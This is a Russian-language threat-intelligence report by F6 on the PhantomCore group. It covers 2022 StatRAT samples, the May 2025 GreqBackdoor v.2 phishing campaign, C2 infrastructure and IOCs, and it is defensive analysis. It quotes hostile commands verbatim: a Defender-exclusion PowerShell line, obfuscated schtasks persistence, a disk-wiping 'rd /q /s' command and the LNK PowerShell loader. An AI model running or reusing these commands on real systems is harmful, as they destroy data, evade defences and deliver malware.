Отпечатки прошлого: F6 исследовала новые и ранее неизвестные активности группы PhantomCore - F6

PhantomCore – группа, атакующая российские и белорусские компании, впервые обнаруженная специалистами F6 в 2024 году. Позднее мы выяснили, что самые ранние атаки можно отследить вплоть до 2022 года, тогда целью атакующих была кража, повреждение и уничтожение данных, в то время как в 2024 году мы наблюдали переход к шифрованию инфраструктур жертв и получению финансовой выгоды. Отличительная черта PhantomCore – использование вредоносного программного обеспечения (ВПО) собственной разработки. Причём, судя по количеству таких самописных программ, а также по количеству атак, команда разработчиков этой киберпреступной группы постоянно ищет новые решения, совершенствует свои инструменты и внимательно следит за новыми уязвимостями.

23 мая 2025 года в Москве на международном киберфестивале Positive Hack Days департамент киберразведки (Threat Intelligence) компании F6 представил доклад об активности группы PhantomCore. Часть доклада была посвящена активности, датируемой 2022 годом, которую мы связали с деятельностью группы PhantomCore. В новом блоге мы расскажем об этой активности детальнее, а также представим анализ обновленной версии вредоносной программы, получившей название PhantomeCore.GreqBackdoor v.2, которая использовалась в атаках группы в мае 2025 года.

Активность группы PhantomCore в 2022 году

Весной 2024 года специалисты F6 Threat Intelligence обнаружили семпл PhantomRAT EventManager.exe (SHA1: 1b0c9953b2aff3fcbd863555a8946a1923e002c1), в конфигурации которого в качестве C2-серверов были указаны два домена:

  • wheelprom[.]ru
  • ugroteches[.]ru

Эти домены были связаны между собой уникальным идентификатором владельца домена.

Рисунок 1. Графовый анализ инфраструктуры PhantomCore в системе F6 Threat Intelligence

Графовый анализ показал, что с этим же идентификатором связан ещё ряд доменов. Часть из них упоминалась в одном из предыдущих блогов:

  • sdufho[.]ru — C2 для PhantomRAT v.2 splwow.exe (MD5: 16f97ec7e116fe3272709927ab07844e), май 2024;
  • jaudyoyh[.]ru – C2 для PhantomRAT v.2 splwow.exe (MD5: 16f97ec7e116fe3272709927ab07844e), май 2024;
  • sauselid[.]ru – C2 для  PhantomDL v.3 Счет-Фактура.pdf .exe (MD5: 8c9617ddc6d371264a7026777e3cdcc9), июль 2024;
  • linualsut[.]ru – С2 для Sliver SECRET_OXYGEN.exe (MD5: 08d40cc89db9fc3423c299bca7639690), сентябрь 2024;
  • supportsecure[.]ru – связанных семплов выявлено не было.

Несмотря на то, что с доменом supportsecure[.]ru не было обнаружено связанных файлов, мы предполагаем, что он был зарегистрирован группой PhantomCore и мог использоваться ей. В этой связи мы решили изучить домен детальнее. Это позволило выявить созвучный домен supportsecurity[.]ru. Обнаруженный домен имел схожие регистрационные данные, а время регистрации совпадало с разницей в 15 минут со временем регистрации домена supportsecure[.]ru.

Принимая во внимание нашу гипотезу о том, что supportsecurity[.]ru и supportsecure[.]ru зарегистрированы одной группировкой, а домен supportsecure[.]ru ранее мы связали с группой PhantomCore, можно предположить, что домены, связанные идентификатором с доменом supportsecurity[.]ru, также должны принадлежать этой группировке.

Рисунок 4. Графовый анализ доменов, связанных с доменом supportsecurity[.]ru уникальным идентификатором, в системе F6 Threat Intelligence

Среди этих доменов:

  • updatesioa[.]ru — создан  2024-03-26T17:45:08;
  • updatecanonical[.]ru — создан 2023-11-08T13:00:09;
  • rawgithubcontent[.]ru — создан  2024-04-02T11:30:08;
  • syncpulse[.]ru — создан 2024-04-02T11:30:10, A-запись: 185.130.251[.]54 – этот ip использовался в качестве С2 для ВПО PhantomCore.KscDL;
  • airgrupdate[.]ru — создан 2024-03-05T14:30:08;
  • mastersync[.]ru —  создан 2024-04-02T11:30:12;
  • updateapi[.]ru — создан  2024-04-02T11:30:14, A-запись: 195.133.32[.]194 – использовался в атаке PhantomCore в феврале 2025 года;
  • update54[.]ru — создан 2023-11-27T10:15:09;
  • officesync[.]ru — создан 2024-04-02T11:45:08.

Помимо указанных выше мы обнаружили еще несколько доменов, зарегистрированных с использованием тех же регистрационных данных, которые выбивались из списка датой регистрации и наименованием:

  • rzdoffice[.]ru — создан 2022-03-04T11:20:05Z;
  • 5kai[.]ru — создан 2022-06-13T06:50:06Z;
  • russiasnews[.]ru — создан 2022-06-13T06:20:05Z;
  • stat-dashgd[.]ru — создан 2022-03-06T10:50:06Z.

Указанные домены были зарегистрированы с марта по июнь 2022 года, что выглядело как ложноположительные результаты: ведь мы полагали, что группа PhantomCore начала действовать в 2024 году. Однако мы решили дополнительно исследовать и эти домены, чтобы подтвердить или опровергнуть первоначальную теорию. По первым трем доменам каких-то подозрительных связей не удалось выявить. Зато последний домен stat-dashgd[.]ru оказался примечательным. На платформе VirusTotal мы обнаружили 4 файла, связанные с этим доменом:

  • VALIDATOR.msi (MD5: 57384d60dab044887d741150fe03fa52)
  • VALIDATOR.msi (MD5: d7185eae76afdd78f8cadaf81dd88ba1)
  • Helper7.exe (MD5: a18f173d63df0ed0677182a747f81c52)
  • Morok.exe (MD5: a15a559d3a3324afedeff4d17547cfea)

Рисунок 5. Список файлов, связанных с доменом stat-dashgd[.]ru, по данным платформы VirusTotal

Цепочка атаки из 2022 года

Как оказалось, выявленные файлы связаны и образуют следующую цепочку атаки: дроппер (VALIDATOR.msi)->исполняемый файл-приманка->StatRAT. Ниже приводим анализ обнаруженных файлов на примере разбора одного из образцов VALIDATOR.msi.

Файл VALIDATOR.msi

Файл VALIDATOR.msi (MD5: 57384d60dab044887d741150fe03fa52) представляет собой установщик формата MSI, который классифицирован нами как дроппер. Он извлекает и запускает 2 исполняемых файла:

  • Helper10.exe (MD5: a15a559d3a3324afedeff4d17547cfea) – исполняемый файл — ВПО StatRAT;
  • Success10.exe (MD5: cd3440cf9f20faa30a743d8408eb9217) – исполняемый файл-приманка.

Исполняемый файл-приманка

Файл Success10.exe после запуска отображает окна, мимикрирующие под якобы легитимное ПО Валидатор 1.0, выполняющее проверку сети для соответствия определенному федеральному закону. После взаимодействия пользователя с файлом и запуска «проверки» отобразится анимация загрузки и окно с сообщением о том, что проверка прошла успешно.

ВПО StatRAT

Исследуемый файл Helper10.exe является исполняемым файлом, основанным на .NET и классифицированным нами как троян удаленного доступа StatRAT. Это ВПО, помимо обработки различных команд от сервера, имеет модуль стилера, а также функциональные возможности для вайпа (повреждения и уничтожения) файлов в зараженной системе.

Инициализация

После запуска StatRAT создает две задачи таймера с периодом повторения 3 секунды, где первая задача – модуль, позволяющий обрабатывать команды от сервера, а вторая задача выполняет запрос к серверу для информирования о том, что ВПО активно.

После создания задач StatRAT генерирует уникальный идентификатор бота по шаблону id[A-Za-z0-9]{25} и последовательно выполняет следующие действия:

  • создает скрытую директорию с именем, содержащимся внутри файла (в исследуемом образце путь к директории — %APPDATA%\ActiveConfig);
  • копирует себя в созданную директорию с именем, которое также расположено внутри файла (в исследуемом образце — UpdaterDefender.exe);
  • в этой же директории создает и запускает PowerShell-сценарий с именем 123.ps1 для обхода контроля учетных записей пользователя, реализация совпадает с описанной в статье;
  • выполняет проверку выполнения в режиме отладки или в песочнице:
    — проверка наличия процесса SbieCtrl и модуля SbieDll.dll,
    — проверка наличия RDP-подключения,
    — проверка модели и производителя системы по строго заданному набору наименований;
  • проверяет наличие файла upd.txt в созданной директории, если он существует, то читает содержимое, устанавливает значение как уникальный идентификатор бота и удаляет этот файл;
  • проверяет наличие файла Mconfig.txt в созданной директории, если он существует, то читает его содержимое, устанавливает значение как уникальный идентификатор бота, а также читает путь к директории, которую нужно удалить, затем удаляет и сам файл Mconfig.txt (вероятно, файл используется для очистки временных файлов, созданных трояном);
  • отправляет на C2-сервер запрос с информацией о зараженной системе: имя системы и пользователя, внешний IP-адрес, полученный через curl-запрос к домену ifconfig.io, значение кампании, флаг получения прав администратора;
  • если файл был запущен с правами администратора, то выполнит следующие действия:
    — создает новую директорию по файловому пути C:\Windows\System32\config\systemprofile\AppData\Roaming с именем, расположенным в файле (в исследуемом образце — ActiveConfig) и копирует свой файл в эту директорию;
    — создает файл Mconfig.txt и записывает туда уникальный идентификатор бота, а также прошлую директорию для ее последующего удаления;
    — добавляет свой исполняемый файл в список исключений антивируса Windows Defender с помощью PowerShell команды:
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath {filepath};
  • закрепляется в системе путем создания задачи в планировщике задач Windows (подробнее – в разделе «Закрепление в системе»);
  • запускает модуль стилера (подробнее в блоке «Модуль стилера»);
  • выдает полные права текущему процессу и устанавливает его как критический, таким образом, при его завершении будет остановлена работа системы;
  • удаляет и создает запланированную задачу, которая после своего триггера с ожиданием 10 минут выполнит команду для удаления содержимого директории C:\Users\ и логических дисков D, E, F, G (подробнее в блоке «Вайп системы»): 
cmd.exe /C rd /q /s C:\\Users\\ D:\\ E:\\ F:\\ G:\
  • включает задачи таймера, описанные в начале раздела «Инициализация».

Закрепление в системе

Для закрепления в системе StatRAT создает задачу в планировщике задач Windows. При этом блок кода и алгоритм создания задачи практически аналогичен закреплению в системе PhantomCore.Downloader, который мы описывали в первом блоге о данной группе.

Рисунок 8. Участок кода ВПО StatRAT, отвечающий за закрепление в системе жертвы

ВПО StatRAT создает файл Tsk.xml по шаблону, который модерируется параметрами:

  • название задачи;
  • запускаемый файл;
  • аргументы запуска;
  • временной промежуток до запуска после триггера;
  • модификатор наличия прав администратора для выбора варианта триггера: BootTrigger (при наличии прав) и LogonTrigger.

Далее будет выполнена cmd.exe команда для создания запланированной задачи:

s\"ch\"ta\"s\"ks -cr\"ea\"t\"e\" -t\"n\" Mic\"ros\"oftSt\"ati\"sticCore /X\"M\"L {filepath}\Tsk.xml.

Затем файл Tsk.xml будет удален.

Параметры запланированной задачи:

Name MicrosoftStatisticCore
Author Microsoft Corporation
Action pcalua.exe -a %APPDATA%\{contained_directory}\{contained_filename}.exe

Вайп системы

В конце инициализации исследуемый образец ВПО StatRAT сначала удаляет и после создает задачу в планировщике задач Windows, которая выполняет cmd.exe команду:

rd /q /s C:\\Users\\ D:\\ E:\\ F:\\ G:\\.

Команда «rd» используется для удаления директорий из файловой системы.

Рисунок 9. Участок кода ВПО StatRAT, отвечающий за вайп системы жертвы

Параметры запланированной задачи:

Name MicrosoftUpdateStatisticCore
Author Microsoft Corporation
Action cmd.exe /C rd /q /s C:\\Users\\ D:\\ E:\\ F:\\ G:\\
Delay PT10M

На этом этапе анализа возникает два вопроса:

  • для чего модуль сначала удаляет задачу, а затем пересоздает ее?
  • для чего используется 10 минут ожидания перед выполнением?

Эти действия нужны для того, чтобы удаление директорий и дисков выполнялось только в случае, если не произошло запуска ВПО (например, удален файл или задача для его закрепления). Если же файл будет запускаться, то каждый раз до выполнения команды удаления директорий будет успевать пересоздаваться задача, а следовательно, удаления не будет происходить.

Модуль стилера

Модуль стилера используется для кражи из зараженной системы следующей информации:

  • скриншот экрана;
  • данные из браузера: история, закладки, данные авторизации и др.;
  • данные из FTP-клиента FileZilla.

Собираемые данные сохраняются в директорию с именем info, которая располагается в ранее созданной директории. После того как все данные будут собраны, создается архив Upl.zip, содержащий данные из директории info. Этот архив выгружается на C2-сервер, а затем директория info и архив Upl.zip удаляются из зараженной системы.

Модуль RAT

Модуль RAT является задачей таймера, запускаемой каждые 3 секунды. Он реализован для обработки и выполнения различных команд. Каждые 40 срабатываний при запуске модуль выполняет два запроса к каждому расположенному в файле C2-адресу, где первый запрос содержит информацию о зараженной системе, а второй запрос используется для получения команды от сервера. Если содержимое ответа на второй вопрос не является пустым, данный C2-адрес становится основным и будет использоваться для всех других запросов.

В обычном случае после запуска модуля будет выполнен запрос к активному C2-адресу для получения команды, которая будет обработана на стороне ВПО. Ниже представлена таблица, которая содержит имена команд и их описания.

Название команды Описание
console Выполняет произвольную команду в интерпретаторе команд Windows. Для этого запрашивает у сервера команду, выполняет ее и отправляет вывод на C2-адрес.
update Обновляет версию ВПО. Для этого запрашивает у сервера имя файла, выполняет загрузку самого файла и записывает его на систему. После чего удаляет запланированную задачу для закрепления в системе и создает новую.
webcamera Создает скрин камеры, сохраняет его в файл web.jpg и отправляет на С2, после чего удаляет файл.
download Выполняет загрузку файла на зараженную систему. Для этого запрашивает у сервера имя файла, выполняет его загрузку и сохраняет в системе.
closeapp Завершает работу собственного процесса, предварительно выполняя запрос на сервер с информацией о том, что процесс завершен.
upload Выгружает произвольный файл на C2-сервер. Для этого запрашивает путь к файлу, который необходимо отправить на сервер, после чего выгружает его.
cdopen Открывает дверцу привода CD, используя MCI-команду: set cdaudio door open.
cdclose Закрывает дверцу привода CD, используя MCI-команду: set cdaudio door closed.
usb Включает стилер данных с флеш-накопителей. Копирует файлы с расширениями .dst, .ovpn, .txt, .doc, .docx, .pdf, .xls, .xlsx, .csv, .jpg, .jpeg, .png при подключении флеш-накопителей в директорию archive, после чего отправляет на С2-адрес в виде архива со случайным именем, соответствующим шаблону [0-9]{5}.zip. Далее удаляет директорию archive.
screen Сохраняет скриншот экрана в файл с именем filename.bmp, после чего отправляет его на С2-адрес и удаляет файл.
sleep Переходит в режим простоя на указанное количество минут. Для этого запрашивает у C2-сервера количество минут, которое ВПО будет в простое. Также передает C2-серверу информацию о входе и выходе из режима ожидания.
null Выполняет сброс счетчика запросов.
listing Запускает произвольный файл с возможностью предоставления оболочки ввода и вывода на C2-сервер. Каждые 3 секунды опрашивает сервер для получения дополнительной строки ввода. Для выхода из цикла должна быть получена строка «exit_all».
zip Выгружает файл или директорию, предварительно архивируя в архив с именем rm.zip.
boxmes Отображает диалоговое окно с указанным текстом.
destroy Выполняет вайп файлов на логических дисках путем зануления содержимого файлов. Для этого запрашивает у сервера путь к директории/диску и в случае получения выполняет вайп файлов в этой директории/диске. Если ответ от сервера содержит «null», то перечисляет все логические диски системы и выполняет вайп содержащихся в них файлов.

Сетевое взаимодействие

Вредоносное ПО StatRAT взаимодействует с C2-сервером с использованием HTTP-протокола. Найденные образцы содержали наборы C2-адресов, проверка активности которых и смена в случае недоступности выполнялась в RAT-модуле. Исследуемый образец содержит C2-адреса:

  • hxxps://stat-dashgd[.]ru/,
  • hxxps://24windows[.]ru/,
  • hxxps://bazartop[.]ru/.

Ниже представлена таблица, содержащая шаблон URL-ссылки и описание ее назначения.

Адрес Назначение
https://{c2_domain}/main-stat/statistics.php Используется для отправки отладочной информации (ошибки, статус завершения операций), получения команд.
https://{c2_domain}/main-stat/test-connect.php Используется для отправки сообщений о том, что ВПО активно на зараженной системе, по таймеру каждые 3 секунды.
https://{c2_domain}/main-stat/visiting-log.php Используется для выгрузки файлов на С2.
https://{c2_domain}/main-stat/visiting-downloads/ Используется для загрузки файлов на зараженную систему.

Дополнительный анализ

Нашим специалистам удалось найти еще один образец StatRAT, который отличался от проанализированного выше. В отличии от него данный образец StatRAT при обнаружении песочницы или изолированной среды выполняет следующие действия:

  • выполняет запрос на C2-сервер с информацией о зараженной системе;
  • создает скриншот экрана, сохраняет в файл с именем filename.bmp, отправляет на C2-сервер и удаляет файл;
  • выдает полные права текущему процессу и устанавливает его как критический, таким образом, при его завершении будет остановлена работа системы;
  • создает запланированную задачу для выполнения вайпа системы командой «rd» с отложенным триггером в 1 минуту;
  • вызывает функцию вайпа логических дисков, однако аргументом функции передается пустая строка, что приводит к ошибке;
  • завершает процесс, так как данный процесс — критический, то это приводит к остановке работы системы, а последующий перезапуск приведет к срабатыванию задачи с командой rd для удаления директорий.

Ниже приводим сравнение этих двух семплов.

Тип изменений Helper10.exe/Morok.exe/UpdaterDefender.exe 

(MD5: a15a559d3a3324afedeff4d17547cfea)

DefenderProccess.exe/Helper.exe/MorokX.exe 

(MD5: 4e167675c52ee7428bf0ba90f59b1a8f)

С2 hxxps://stat-dashgd[.]ru,

hxxps://24windows[.]ru,

hxxps://bazartop[.]ru

hxxps://24windows[.]ru,

hxxps://bazartop[.]ru

Type (предположительно, ID кампании) 300671 496429
Путь к каталогу приложения %AppData%\ActiveConfig\ %AppData%\DefenderConfig\
Путь к файлу семпла %AppData%\ActiveConfig\UpdaterDefender.exe %AppData%\DefenderConfig\DefenderProccess.exe
Cписок расширений для перехвата с флеш-накопителей «.dst», «.ovpn», «.txt», «.doc», «.docx», «.pdf», «.xls», «.xlsx», «.csv», «.jpg», «.jpeg», «.png» «.rez», «.ask», «.dst», «.ovpn», «.txt», «.doc», «.docx», «.pdf», «.xls», «.xlsx», «.csv», «.jpg», «.jpeg», «.png»
Функция выявления процессов-мониторов wireshark, tcpview, filemon, regmon, procmon, netmon, procexp
Функция обнаружения смены имени файла Определяет, отличается ли имя процесса от двух возможных (в данном случае Helper и DefenderProccess)
Сбор данных о сетевых интерфейсах системы arp -a > {folder_path}\info\ip_conf.txt && ipconfig /all >> {folder_path}\info\ip_conf.txt
Команда «wave» Данная команда устанавливает параметр, отвечающий за обновленную логику ВПО. Если C2-адрес был изменен более 4 раз, и данный параметр установлен в true, будет выполнен набор действий, приводящий к вайпу системы, который описан выше.

Анализ доменов, используемых в качестве C2, позволил выявить еще некоторую связанную инфраструктуру. Оказалось, что домены 24windows[.]ru и bazartop[.]ru связаны уникальным идентификатором владельца домена, а также с ними связан домен java-stat[.]ru. Других ассоциированных семплов обнаружено не было.

Рисунок 10. Графовый анализ доменов группы PhantomCore в системе F6 Threat Intelligence

Подводя итог этой части исследования, можно сказать, что нам удалось выявить вероятную инфраструктуру группы PhantomCore, датируемую 2022 годом и связанные с ней образцы вредоносной программы, которой мы присвоили имя StatRAT.

Активность группы PhamtomCore в мае 2025

Группа PhantomCore продолжает развивать свои инструменты и переписывать их на различные языки программирования. Так, 5 мая 2025 года с помощью решения F6 Business Email Protection были обнаружены и заблокированы вредоносные рассылки, которые были атрибутированы группе PhantomCore.

Письма с темой «Документы на рассмотрение (повторно)» были отправлены с трех различных доменов, которые, вероятно, были скомпрометированы. Среди получателей – организации из сфер промышленности, энергетики, ЖКХ. Примеры писем представлены ниже.

Письма содержат вложенный исполняемый файл в виде архива с именем Документы_на_рассмотрение.zip, всего было обнаружено два варианта:

  • MD5: 55b31d3ae389473e6aee7a9a41e21bd2,
  • MD5: e3493bced3a25d0bf61980cb797afca5.

Во втором случае архив защищен паролем «2025», который указан в теле письма. Сам исполняемый файл в оверлее содержит ZIP-архив, что при двойном клике приведет к его запуску, а не к исполнению файла. Подобная техника уже использовалась группой PhantomCore в атаках ранее, однако в прошлых атаках они доставляли ZIP-архив, который содержал LNK-файл и исполняемый файл с расширением .zip. В новой атаке они отказались от дополнительной архивации: вместо этого сразу прислали исполняемый файл с ZIP-архивом в оверлее. Файл с именем Документы_на_рассмотрение.zip, который распространяется в виде вложения в письме, имеет следующую структуру:

Рисунок 13. Структура архива Документы_на_рассмотрение.zip

В качестве приманки используется файл Сопроводительное_письмо.pdf, имеющий следующее содержимое:

Рисунок 14. Содержимое файла-приманки Сопроводительное_письмо.pdf

Если пользователь запустит LNK-файл, будет запущена PDF-приманка и исполняемый файл, который был классифицирован нами как обновленная версия ВПО группы PhantomCore, получившая название PhantomeCore.GreqBackdoor v.2. В качестве C2 используется: 195[.]58[.]54[.]39:80.

Первоначальный вектор атаки

Рассмотрим цепочку атаки детальнее. В связи с тем, что файл распространяется с расширением .zip, он по умолчанию будет открываться на конечной системе с помощью архиватора, который отвечает за запуск файлов с указанным расширением. Таким образом, для пользователя будет открываться ZIP-архив, который расположен в оверлее исполняемого файла. После того, как пользователь запустит LNK-файл, расположенный в ZIP-архиве, будет выполнена PowerShell команда:

powershell.exe -WindowStyle hidden -c "$r=$(Get-Location).Path + '\Документы_на_рассмотрение[.]zip';if(Test-Path $r) { cmd.exe /c start /B $r; } else { $f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter 'Документы_на_рассмотрение[.]zip' | Select-Object -First 1); if($f) { $r=$f.FullName; cmd.exe /c start /B $f.FullName; }; };if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter "Документы_на_рассмотрение[.]zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes([System.IO.Path]::Combine('%temp%', 'Договор_23702_05_05_2025.pdf'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 4214784 -First 177703)); Start-Process -FilePath $([System.IO.Path]::Combine('%temp%', 'Договор_23702_05_05_2025.pdf'));

Эта PowerShell-команда выполняет следующие задачи:

  • проверяет наличие файла Документы_на_рассмотрение.zip в текущей директории и, если файл найден, запускает его через команду:
cmd.exe /c start /B {filepath};
  • если файл не найден, перебирает файлы директории %USERPROFILE% и ее поддиректории с целью поиска файла Документы_на_рассмотрение.zip; если файл найден, то выполняет его описанным выше способом;
  • выполняет поиск файла Документы_на_рассмотрение.zip в %TEMP% директории. После того как файл найден, читает его и выполняет запись файла Договор_23702_05_05_2025.pdf, данные для записываемого файла расположены в найденном по смещению 0x405000 байт и длиной — 177703 байт. По данному смещению в файле Документы_на_рассмотрение.zip располагается PDF-файл, аналогичный тому, который расположен в ZIP-архиве с именем Сопроводительное_письмо.pdf. После того как файл был записан в систему, он будет запущен командой:
Start-Process -FilePath %TEMP%\Договор_23702_05_05_2025.pdf

Таким образом будет запущен исполняемый файл и PDF-приманка.

PhantomeCore.GreqBackdoor v.2

Исполняемый файл упакован с помощью инструмента UPX и написан на языке Golang без использования обфускации. Данный файл был классифицирован нами как новая версия бэкдора — PhantomeCore.GreqBackdoor v.2.

Файлы Документы_на_рассмотрение.zip (MD5: 55b31d3ae389473e6aee7a9a41e21bd2 и MD5: e3493bced3a25d0bf61980cb797afca5) идентичны до оверлея, поэтому далее будет рассматриваться первый из них. Исполняемый файл выполняет следующие действия:

  • проверяет, не выполняется ли отладка текущего процесса функцией IsDebuggerPresent;
  • проверяет, не запущен ли файл в виртуальном окружении с помощью чтения ключа реестра SYSTEM\ControlSet001\Services\Disk\DriverDesc и сравнения результата со значением vmware;
  • если обнаружил отладку или запуск в виртуальном окружении, то засыпает на 10 секунд.

Затем он собирает телеметрию с ПК. Она содержит следующие данные:

  • имя ПК;
  • имя пользователя;
  • локальный IP;
  • внешний IP, получает его при помощи запроса на внешний ресурс hxxps://ident[.]me;
  • версия и битность операционной системы;
  • ID бота, генерируется рандомно при первом запуске функцией uuid.NewRandom;
  • добавляет захардкоженую строку MAIL, вероятно, название кампании.

ВПО взаимодействует с сервером через HTTP-протокол, при коммуникации используется User-Agent: Go-http-client/1.1

С2-адрес: 195[.]58[.]54[.]39:80

При взаимодействии с сервером используются следующие Gateway-пути:

  • /connect — первичное подключение,
  • /init — запрос с информацией о зараженной системе,
  • /check — периодический запрос перед выполнением запроса для получения команд,
  • /command — запрос для получения команды от сервера,
  • /out.

При выполнении запроса /init на сервер будет отправлен JSON-объект вида:

{ "domain": "%USERDOMAIN%", "host": "%PCNAME%", "id": "{RANDOM_UUID}", "local_ip": "{local_ip}", "name": "MAIL", "os": "windows amd64", "public_ip": "{external_ip}", "pulse": 60, "user": "%USERNAME%" }

На запрос команды от С2 имплант получает JSON-объект типа задача. Он имеет следующий вид:

{ "Uuid": {uuid}, "AgentId": {agent_id}, "Command": "{command}", "Response": {response}, "OperatorId": {operator_id}, "Done": false|true }

В зависимости от отправленного С2-сервером значения поля Command выполняется обработка одной из следующих команд:

Команда Значение
up Извлекает URL из аргумента команды, загружает файл с полученного URL, сохраняет его в директорию C:\ProgramData\
ex Выполняет смену текущих директорий, а также выполняет произвольные команды в интерпретаторе команд Windows. Существует три варианта обработки команды:

  • если была получена команда «cd ..», то текущей директорией будет установлена родительская директория;
  • если шаблон команды «cd {filepath}», то указанный путь будет установлен как текущая директория;
  • если команда не соответствует шаблонам из пунктов 1 и 2, будет выполнена команда cmd /s /c «echo %command% | cmd», результат команды будет отправлен на C2.
st Запускает указанный файл

После выполнения каждой команды будет выполнен POST-запрос на C2-сервер с gateway /out, который будет содержать такой же шаблон JSON-объекта, какой был получен от сервера при получении команды. В поле «Response» будет добавлен результат команды, а в поле «Done» будет установлено значение True.

Заключение

В ходе исследования нам удалось установить, что активность группы PhantomCore можно отследить вплоть до 2022 года. В то время использовалось ВПО, классифицируемое нами как StatRAT, также поддерживающее функции стилера и вайпера. Выбор такого типа ВПО мог быть обусловлен геополитической ситуацией. Первые атаки группы были направлены на кражу и вайп данных, в то время как с 2024 года наблюдаем переход к шифрованию инфраструктур жертв и получению финансовой выгоды.

Мы продолжаем следить за эволюцией группировки PhantomCore и их постоянным изменением инструментария. В мае 2025 года мы выявили обновленную версию PhantomeCore.GreqBackdoor v.2, используемую группой в рассылках в адрес организаций из сфер промышленности, энергетики и ЖКХ. Мы полагаем, что группа и дальше продолжит развивать свое ВПО, чтобы пытаться минимизировать вероятность обнаружения.

Индикаторы компрометации (IOCs)

2022

hXXps://stat-dashgd[.]ru/main-stat/test-connect.php

hXXps://stat-dashgd[.]ru/main-stat/visiting-downloads

hXXps://stat-dashgd[.]ru/main-stat/visiting-log.php

hXXps://stat-dashgd[.]ru/main-stat/statistics.php

stat-dashgd[.]ru

24windows[.]ru

bazartop[.]ru

java-stat[.]ru

VALIDATOR.msi – MD5: 57384d60dab044887d741150fe03fa52

VALIDATOR.msi — MD5: 5f8b1dbc51da577d606bcabd42e40876

VALIDATOR.msi — MD5: d7185eae76afdd78f8cadaf81dd88ba1

VALIDATOR.msi — MD5: 1bca485be5a9d976dea5cb372859f30b

DefenderProccess.exe/Helper.exe — MD5: 225a32915439dd0056520093b68a0704

Helper7.exe/MorokX.exe/UpdateDefender.exe — MD5: a18f173d63df0ed0677182a747f81c52

DefenderProccess.exe/Helper.exe/MorokX.exe — MD5: 4e167675c52ee7428bf0ba90f59b1a8f

Helper10.exe/Morok.exe/UpdaterDefender.exe — MD5:a15a559d3a3324afedeff4d17547cfea

Success.exe/Success7.exe — MD5: 6bb56e264b343c4b81ea1c99769f4905

Success10.exe — MD5: cd3440cf9f20faa30a743d8408eb9217

2024-2025

supportsecure[.]ru

supportsecurity[.]ru

updatesioa[.]ru

updatecanonical[.]ru

rawgithubcontent[.]ru

syncpulse[.]ru

airgrupdate[.]ru

mastersync[.]ru

updateapi[.]ru

195.133.32[.]194

update54[.]ru

officesync[.]ru

hXXp://195.58.54[.]39:80/command

hXXp://195.58.54[.]39:80/init

hXXp://195.58.54[.]39:80/check

hXXp://195.58.54[.]39:80/connect

195.58.54[.]39

Документы_на_рассмотрение.zip — MD5: e3493bced3a25d0bf61980cb797afca5

Документы_на_рассмотрение.zip — MD5: 55b31d3ae389473e6aee7a9a41e21bd2

Договор_23702_05_05_2025.pdf.lnk — MD5: 6b674a4a15a44f730094081a5d226f91

MD5: a0846758c1852d141f657dd6a01adcce

MD5: 43651c96ed10637b5c0e454c32e4809a

MD5: 5437e08743347bca0430689341198e57